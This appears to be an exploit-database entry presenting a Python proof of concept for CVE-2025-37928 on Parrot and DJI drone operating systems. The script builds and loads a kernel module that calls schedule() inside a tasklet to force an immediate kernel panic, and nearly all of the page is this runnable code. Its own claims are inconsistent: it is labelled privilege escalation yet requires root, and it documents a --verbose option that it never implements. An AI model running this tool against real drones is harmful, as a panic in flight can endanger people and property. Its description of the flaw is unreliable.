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Parrot and DJI variants Drone OSes - Kernel Panic Exploit

🗓️ 15 Jun 2025 00:00:00Reported by Mohammed Idrees BanyamerType 
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Exploit for kernel panic in Parrot and DJI drone OSes exploiting CVE-2025-37928 via local access.

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#!/usr/bin/env python3
# Exploit Title: Parrot and DJI variants Drone OSes - Kernel Panic Exploit
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-10
# Tested on: Parrot QRD, Parrot Alpha-M, DJI QRD, DJI Alpha-M
# CVE: CVE-2025-37928
# Type: Local Privilege Escalation / Kernel Panic
# Platform: Linux-based drone OS (Parrot and DJI variants)
# Author Country: Jordan
# CVSS v3.1 Score: 7.3 (Important)
# Weakness: CWE-284: Improper Access Control
# Attack Vector: Local
# User Interaction: None
# Scope: Unchanged
# Confidentiality, Integrity, Availability Impact: High (Denial of Service via Kernel Panic)
# Exploit Code Maturity: Proof of Concept
# Remediation Level: Official Fix Available
#
# Description:
# This PoC triggers a kernel panic by calling schedule() inside an atomic context,
# exploiting CVE-2025-37928 present in certain Linux kernels running on
# Parrot QRD, Parrot Alpha-M, DJI QRD, and DJI Alpha-M drone operating systems.
#
# Steps of exploitation:
# 1. Check if running as root.
# 2. Verify kernel version vulnerability.
# 3. Detect drone type from system files.
# 4. Build and load vulnerable kernel module.
# 5. Trigger kernel panic by scheduling a tasklet calling schedule() in atomic context.
#
# Affected Drone Versions:
# - Parrot QRD
# - Parrot Alpha-M (DT)
# - DJI QRD
# - DJI Alpha-M (DT)
#
# ------------------------------------------------------------------------------
#  Usage:
#   sudo python3 cve_2025_37928_tool.py [OPTIONS]
#
#  Options:
#   --dry-run         Run detection & build only (no module loading)
#   --force           Force exploit even if kernel not detected as vulnerable
#   --cleanup-only    Remove the kernel module without triggering panic
#   --verbose         Enable detailed logging and debug output
#   --help            Show usage information
#
#  Examples:
#   sudo python3 cve_2025_37928_tool.py --dry-run
#   sudo python3 cve_2025_37928_tool.py
#   sudo python3 cve_2025_37928_tool.py --force
#   sudo python3 cve_2025_37928_tool.py --cleanup-only
#
#  Warning:
#   This PoC causes an immediate kernel panic.
#   Use it ONLY in isolated and controlled environments (e.g., lab tests).
# ------------------------------------------------------------------------------

import os
import sys
import subprocess
import tempfile
import argparse
import shutil
import platform

MODULE_NAME = "cve_2025_37928_poc"
C_FILENAME = MODULE_NAME + ".c"
KO_FILENAME = MODULE_NAME + ".ko"

KERNEL_MODULE_CODE = r'''
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/interrupt.h>
#include <linux/sched.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("PoC Author");
MODULE_DESCRIPTION("PoC for CVE-2025-37928: schedule() in atomic context causes kernel panic");

static void trigger_panic_tasklet(unsigned long data)
{
    pr_alert("[CVE-2025-37928] Executing schedule() inside atomic context. This will panic!\n");
    schedule(); // This causes kernel panic
}

DECLARE_TASKLET(my_tasklet, trigger_panic_tasklet, 0);

static int __init poc_init(void)
{
    pr_info("[CVE-2025-37928] Loading PoC module and scheduling tasklet...\n");
    tasklet_schedule(&my_tasklet);
    return 0;
}

static void __exit poc_exit(void)
{
    tasklet_kill(&my_tasklet);
    pr_info("[CVE-2025-37928] PoC module unloaded\n");
}

module_init(poc_init);
module_exit(poc_exit);
'''

MAKEFILE_CONTENT = f'''
obj-m += {MODULE_NAME}.o

all:
\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
'''

def check_root():
    if os.geteuid() != 0:
        print("[-] Must be run as root.")
        sys.exit(1)

def detect_kernel():
    version = platform.release()
    vulnerable_versions = ["5.10", "5.15", "6.0"]
    vulnerable = any(v in version for v in vulnerable_versions)
    print(f"[i] Kernel version: {version} => {'VULNERABLE' if vulnerable else 'UNKNOWN/SAFE'}")
    return vulnerable

def detect_drone_type():
    print("[*] Detecting drone type...")
    files = ["/etc/drone_type", "/proc/device-tree/model", "/sys/firmware/devicetree/base/model"]
    found = []
    for path in files:
        if os.path.exists(path):
            try:
                with open(path, "r") as f:
                    content = f.read().strip()
                    if any(x in content for x in ["Parrot", "DJI"]):
                        found.append(content)
            except:
                continue
    if found:
        for d in found:
            print(f"  [i] Found: {d}")
    else:
        print("  [!] No drone ID found.")
    return found

def write_module(tempdir):
    c_path = os.path.join(tempdir, C_FILENAME)
    makefile_path = os.path.join(tempdir, "Makefile")
    with open(c_path, "w") as f:
        f.write(KERNEL_MODULE_CODE)
    with open(makefile_path, "w") as f:
        f.write(MAKEFILE_CONTENT)
    return c_path

def build_module(tempdir):
    print("[*] Building module...")
    result = subprocess.run(["make"], cwd=tempdir, capture_output=True, text=True)
    if result.returncode != 0:
        print("[-] Build failed:\n", result.stderr)
        sys.exit(1)
    print("[+] Build successful.")
    return os.path.join(tempdir, KO_FILENAME)

def load_module(ko_path):
    print("[*] Loading kernel module...")
    result = subprocess.run(["insmod", ko_path], capture_output=True, text=True)
    if result.returncode != 0:
        print("[-] insmod failed:\n", result.stderr)
        sys.exit(1)
    print("[!] Module loaded. Kernel panic should occur if vulnerable.")

def unload_module():
    print("[*] Attempting to remove module...")
    subprocess.run(["rmmod", MODULE_NAME], stderr=subprocess.DEVNULL)
    print("[+] Module removal attempted.")

def clean_build(tempdir):
    subprocess.run(["make", "clean"], cwd=tempdir, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-37928 Kernel Panic Exploit Tool for Drone OSes")
    parser.add_argument("--dry-run", action="store_true", help="Only simulate and check environment, no exploitation")
    parser.add_argument("--force", action="store_true", help="Force execution even if version unknown")
    parser.add_argument("--cleanup-only", action="store_true", help="Just remove kernel module if loaded")

    args = parser.parse_args()
    check_root()

    if args.cleanup_only:
        unload_module()
        return

    vulnerable = detect_kernel()
    detect_drone_type()

    if not vulnerable and not args.force:
        print("[-] Kernel not identified as vulnerable. Use --force to override.")
        sys.exit(1)

    if args.dry_run:
        print("[*] Dry run mode. Exiting before exploitation.")
        return

    with tempfile.TemporaryDirectory() as tempdir:
        print(f"[*] Working directory: {tempdir}")
        write_module(tempdir)
        ko_path = build_module(tempdir)

        try:
            load_module(ko_path)
        except KeyboardInterrupt:
            print("[!] Interrupted. Attempting cleanup...")
        finally:
            unload_module()
            clean_build(tempdir)

if __name__ == "__main__":
    main()

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15 Jun 2025 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 3.17.8
EPSS0.00452
347